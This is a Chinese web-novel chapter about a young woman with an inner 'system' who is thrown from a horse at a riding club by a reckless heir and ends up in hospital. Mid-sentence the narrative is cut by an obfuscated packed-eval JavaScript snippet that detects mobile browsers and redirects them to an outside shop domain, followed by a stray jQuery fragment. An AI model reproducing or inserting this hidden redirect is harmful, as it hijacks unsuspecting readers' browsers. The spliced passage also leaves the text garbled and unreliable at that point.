第二天林雾起了个大早。
她头天晚上果然兴奋到半夜才睡,脑子里全是自己策马奔腾的英姿,翻来覆去睡不着。一会儿想象自己在草原上迎着风飞驰,发尾在身后扬成一道弧线;一会儿想象自己利落地跳过障碍,落地时潇洒地勒马回头——每个画面都帅得让她在被窝里蹬了好几次腿。
系统实在看不下去了:"宿主,您明天是去上零基础课,不是去拍电影。"
"我先预演一下不行?"
"您预演的内容至少需要三个月的训练量。"
"闭嘴。"
七点闹钟响的时候她困得眼睛都睁不开,但一想起骑马,还是挣扎着爬起来了。冲进浴室刷牙洗脸,换了身利落的运动装——黑色紧身裤,白色T恤,外面套一件薄薄的灰蓝色外套,头发扎成高马尾,对着镜子左看右看,满意地转了个圈。
"系统,我帅不帅?"
"……您问的是脸还是衣服?"
"都问。"
"脸好看,衣服普通。骑马得穿专用的马术裤和靴子,您这一身去了也得换。"
林雾愣了一下:"……那你不早说?"
"您昨晚一直在床上蹬腿,我没机会插话。"
林雾脸一红,抓起包噔噔噔跑下楼。早餐李姨准备得简单——一碗小米粥、一个水煮蛋、半根玉米,外加一碟酱黄瓜。林雾坐下来三口两口扒完了粥,把鸡蛋往嘴里一塞,含含糊糊地喊了句"李姨我走了"。
李姨从厨房探出头,往她包里塞了两瓶水和一包饼干:"骑马费体力,别饿着。"
"知道了知道了——"
门关上之前,林雾听见李姨在后面叹了口气:"这孩子,风风火火的。"
系统把云隐马术俱乐部的路线导进车载导航。四十分钟的车程,越开越偏,从市区的高楼渐渐变成了开阔的田野和林地。十月底的天很高很蓝,路两边的树叶黄的黄红的红,在车窗外面唰唰地飞过去。林雾把车窗摇下来一些,风吹进来,带着秋天干燥清冽的味道。
她心情好得忍不住跟着车载音乐哼了两句,虽然跑调跑到天边去了。
铁门出现在视野里的时候,林雾眼睛一亮。"云隐马术俱乐部"几个字刻在一整块原木上,里面是连绵起伏的草坪和几排干净整齐的马厩。晨光从东边斜照过来,把露珠照得像碎银子一样亮晶晶地铺在草地上。
林雾下了车,深深吸了一口气。
空气里有青草的味道、马厩里干草和谷物混合的气味,还有一点泥土的潮气。和她以前住的那个十五平米、永远通风不畅的出租屋比起来,这里像是另一个世界。
她的嘴角不自觉翘了起来。
教练已经在马场等了。姓周,三十出头,精瘦黝黑,笑起来露出一口白牙,眯缝眼里透着那种长期和马打交道的人才有的温和从容。他牵着一匹栗色的小母马走过来,个头不算高,鬃毛修剪得整齐,两只大耳朵温驯地转来转去。
"这匹叫豆沙,性格最温驯,适合零基础学员。"周教练拍了拍马脖子,豆沙配合地喷了个响鼻,甩了甩尾巴,"你先跟它熟悉熟悉,摸摸它,让它闻闻你身上的味道。"
林雾小心翼翼地伸出手,手心向上慢慢凑到豆沙面前。豆沙低下头,湿润的鼻息喷在她掌心里,痒痒的。她没忍住笑了一下,手指轻轻碰了碰豆沙的鼻梁。豆沙没躲,反而把脑袋往她手心里蹭了蹭。
"它喜欢我。"林雾扭头对周教练说,语气里带着点得意。
"它脾气好,对谁都这样。"周教练笑着递给她一把胡萝卜条,"喂它一根。"
林雾捏着胡萝卜送到豆沙嘴边,豆沙嘴唇一抿一卷,胡萝卜就没了,嚼得咔咔响。耳朵竖着,一副很满意的样子。
第一节课从备马开始。周教练教她怎么上鞍、怎么系肚带、怎么调整马镫长度。林雾在旁边看着,觉得每一步都不难,自己上手的时候却翻来覆去折腾了好几遍——肚带系松了,马镫挂反了,鞍子歪了,被周教练笑着纠正了三次才弄对。
上马是最难的。她两手撑着鞍,左脚蹬进马镫,用力往上一蹿——马鞍是上去了,但姿势相当狼狈,整个人像一只笨手笨脚的青蛙趴在马背上。豆沙被她的动作惊了一下,耳朵往后压了压,但很快又恢复了淡定。
周教练绕到她旁边:"你别扒着马脖子,那是人家脑袋,你抓它的脑袋它也害怕。"
林雾红着脸调整坐姿,好不容易坐直了。坐到马背上的一瞬间,视野一下子拔高了半米多,周围的一切都矮了下去。她攥紧缰绳,手心全是汗,两条腿僵直地夹着马肚子,整个人硬邦邦地钉在鞍上,连呼吸都不敢重了。
"放松。"周教练牵着缰绳带她慢走,"腰挺直,肩膀打开,脚后跟往下压。别夹马肚子,你夹它它就以为你想跑。"
林雾深吸一口气,试着放松腰腹。豆沙每走一步,她的身体跟着晃一下,最开始那种陌生的摇晃让她紧张得要命,恨不得跳下去站着走。但走了两圈之后,她慢慢找到了一点节奏——马右前腿迈步的时候她右侧身体自然下沉,左前腿迈步的时候重心转到左侧。
"对,就是这个感觉。"周教练在后面说,"记住这个起伏,后面小跑要用的。"
一个上午下来,她终于能自己骑着豆沙在围栏里慢走了。虽然姿势还说不上好看——肩膀有时候还是会不自觉耸起来,缰绳攥得太紧,膝盖偶尔会悄悄往上提——但至少不会随时觉得自己要掉下去了。豆沙很配合,她一提缰它就慢下来,她轻轻磕一下马肚子它就加快步子,温驯得让人安心。
中午在马场的餐厅啃了个三明治,林雾坐在窗边,看着外面公共场地上几个骑手在练习。有人骑着高头大马姿态悠然地慢跑,有人正在越过一排低矮的障碍,人和马像合为一体,流畅得像一幅流动的画。
她嚼着三明治,眼睛亮晶晶的。
"系统,我下午能试试小跑吗?"
"建议您听教练的安排。"
"我就问问。"
下午的训练果然加了强度。周教练教她打浪——在马小跑的时候,顺着马背的起伏有节奏地起坐。说起来容易,做起来难。起早了被颠起来,起晚了被拍回马背上,屁股一下一下砸在鞍上,颠得她龇牙咧嘴。
"别硬坐!想象你的髋关节是弹簧——"
"我的髋关节是铁板!"
"放松——"
到第六遍的时候,她终于勉强跟上了节奏。豆沙小跑起来的时候,她的身体随着马背起伏起起坐坐,虽然笨拙,但至少能维持住平衡了。风从她耳边呼呼地刮过去,马鬃在她面前一飘一飘的,太阳晒着后背暖洋洋的。
她咧着嘴笑了。
"系统——"她在颠簸的起伏里喊了一声,"我是不是特别帅——"
"宿主,您先别说话,保持呼吸——"
"我太帅了——"
系统选择了沉默。
跑了两圈之后她觉得状态稳了,胆子也跟着壮了起来。看着旁边公共场地上那些骑手来来往往的,她心里痒痒的,想凑过去看看别人是怎么骑的。
"周教练,我能去那边溜达一下吗?"她指了指隔壁的公共场地,"就慢走,不跑。"
周教练看了看她的状态,又看了看公共场地上人不多,点头同意了:"去吧,别离开围栏范围,别靠近障碍区。"
林雾用小腿轻轻夹了一下豆沙的肚子,转了转缰绳,豆沙慢悠悠地拐了个弯,朝着公共场地的方向踱过去。
公共场地比她训练的小围栏开阔得多,足有足球场那么大。几条不同难度的障碍路线分布在场地各处,远处有几个骑手在做绕桶练习,中间的平地上有个穿黑色马术服的女人正在做慢步转快步的转换训练,骑姿利落优雅,人和马之间默契得几乎不需要明显的指令。
林雾让豆沙停在场边,眯着眼看那个女人。她的视线追着对方的动作——收缰、坐深、外方腿施加压力,那匹马就稳稳地转向了,流畅得像在跳一支编好的舞。
"帅。"林雾在心里跟系统说,"我以后也要那样。"
系统还没来得及回话,一阵急促沉重的马蹄声从身后骤然逼近。
"让开让开让开——"
一个年轻男人的声音,带着点嬉皮笑脸的意味。林雾还没来得及回头,一匹高大的黑马已经擦着她的身边狂奔而过,速度快得吓人。骑手是个穿名牌马术服、戴墨镜的年轻男人,脸上挂着得意的笑,明显是在耍威风。他几乎是贴着豆沙跑过去的。两匹马的间距不到一米。
豆沙被那阵突然冲来的马蹄声和擦身而过的黑影吓坏了。它猛地往右一闪,前蹄扬起,发出一声短促惊恐的嘶鸣。
林雾只感觉身体猛地一歪,整个世界天旋地转,她什么也抓不住,缰绳从手里滑脱出去,整个人被从马背上甩了出去。
落地的一瞬间她听到了自己左手腕咔嚓一声闷响。然后膝盖重重地磕在地上,剧痛从四肢同时涌上来,像有一把钝刀同时在锯她的手腕和膝盖。嘴里全是草屑和土腥味,牙齿磕破了嘴唇内侧,铁锈味弥漫了满嘴。
她趴在地上,脑子里嗡嗡地响。
马蹄声还在耳边。那匹黑马并没有停下来——它继续往前冲了十几米才被骑手勒住,但就在这十几米的距离里,林雾清清楚楚地看见那两只铁蹄从她腿边不到二十厘米的地方踏过去。地面被马蹄踏出两个浅坑,草皮翻起来,泥土溅了她一脸。
差一点。就差那么一点。
马场的工作人员几乎是同时
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17757464|209543||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
冲过来的。有人一把拽住了仍在惊惶的豆沙的缰绳,有人蹲在她身边大声问"听不听得见我说话"。周教练脸都白了,半跪在她旁边,手悬在她肩膀上方不敢碰:"哪里疼?说话?清醒着吗?"
林雾趴在地上,喘了几口气,张了张嘴。她嗓子干得冒烟,嘴里的土腥味一阵一阵地往上涌。过了好几秒,她才挤出一句:"……手。"
"哪只手?"
"左手……疼。"
周教练轻轻碰了碰她的左小臂,她疼得倒吸一口冷气,额头上冷汗哗地冒了出来。
"可能是骨裂。"周教练转头对旁边的人喊,"叫救护车。"
等待救护车的几分钟里,林雾整个人趴在地上一动不敢动。膝盖上的擦伤火辣辣地疼,肩膀也酸胀得厉害,不知道是摔的还是扭的。她侧着头,正好看见那个骑黑马的年轻人勒住马回头看了她一眼。墨镜遮着脸,看不清表情。旁边有工作人员跑过去跟他说话,他摆了摆手,说了句什么,然后又调转马头,慢悠悠地骑走了。
林雾盯着那个背影看了三秒。
然后她在脑子里喊了一声:"系统。"
"在呢。"
"那个傻逼是谁?"
系统沉默了两秒,似乎是在快速检索信息:"登记信息显示,他叫刘景行,二十六岁,本市刘家的独子。他父亲是做建材生意的,身家不低。他在圈子里出了名的纨绔,马场的人说他经常来,每次来了就骑着马满场跑,别人都要给他让路。"
"今天没人让路,所以他直接撞过来了。"
系统顿了顿:"……是的。"
林雾闭上眼睛,疼得吸了一口气。手腕的钝痛一阵一阵地往上游走,她整个人发着抖,嘴唇都白了。
救护车到了,她被抬上担架。手腕已经被现场的工作人员简单固定住了,膝盖上盖了块干净的纱布,但血已经洇了出来,在白色的纱布上晕开一小片深红。
躺在担架上被人抬着走的时候,她看着头顶那片蓝得刺眼的天空,脑子里只有一个念头——妈的。
到了医院,医生一路开单检查拍片。左手腕轻微骨裂,打了石膏固定。右膝盖大面积擦伤,需要清创换药,好在骨头没事。身上多处软组织挫伤,肩膀拉伤了,肋骨有撞击后的淤青,但没有骨折。算是不幸中的万幸。
林雾躺在病床上,左手打着石膏抬在胸前,右膝盖包着厚厚的纱布,脸上还贴了两块创可贴。
疼,太疼了。手腕里的钝痛像一根针一样扎着,膝盖上的擦伤碰到被子都像被火燎,肩膀酸胀得抬不起来,躺的姿势稍微歪一点整个人就抽冷气。她盯着天花板看了半天,呼出一口长长的、虚弱的气。
"宿主,"系统小心翼翼地问,"您还好吗?"
"你觉得呢?"林雾的声音闷闷的,嘴唇干得起皮,"我肋骨疼。"
"肋骨只是挫伤——"
"我知道。但我疼。"林雾偏过头,看着自己打着石膏的左手,沉默了好一会儿,然后闷声补了一句,"我的骑马梦……才第一天就碎了。"
系统没忍住,发出一声极轻的、类似憋笑的电流杂音。
"你又笑。"
"没有,系统不会笑。"
"我听见了。"
"您听错了。"
林雾瞪着天花板,过了好一会儿,她的声音闷闷地传出来:"你帮我查查那个刘景行。底细、家世、他平时都干些什么勾当——都查清楚。等我好了再说。"
系统应了一声,正要说话,病房门被推开了。
李姨提着一只保温桶快步走进来,脸上带着焦急,但手里拎的东西稳稳当当的。她一眼看见林雾躺在床上的惨状——左手打着石膏,右膝包着纱布,脸上贴着创可贴——眉头立刻拧成一团。
"小姐——"李姨把保温桶放在床头柜上,坐下来仔仔细细地打量她,"马场的人给我打电话的时候我就赶过来了。医生说严重吗?"
"骨裂,擦伤,别的没事。"林雾扯了扯嘴角,"李姨你怎么来这么快。"
"路上让人做了饭,你先喝点汤。"李姨拧开保温桶的盖子,一股浓郁的鸡汤香气飘了出来。她盛了一碗,吹了吹热气,递到林雾嘴边,"趁热。补骨头的。"
林雾用右手接过碗,低头喝了一口。烫烫的鸡汤顺着喉咙滑下去,暖了整个胃。她捧着那只碗,忽然觉得鼻子有点酸。
"还有这个。"李姨又从保温袋里掏出一只小盒子,"猪蹄炖黄豆,也是补骨头的。晚上回去我再给你做虾皮蒸蛋。"
林雾看着那只饭盒,吸了吸鼻子。
"李姨……TAT"
李姨被她这副模样逗笑了,伸手替她掖了掖被角:"好好躺着,别乱动。"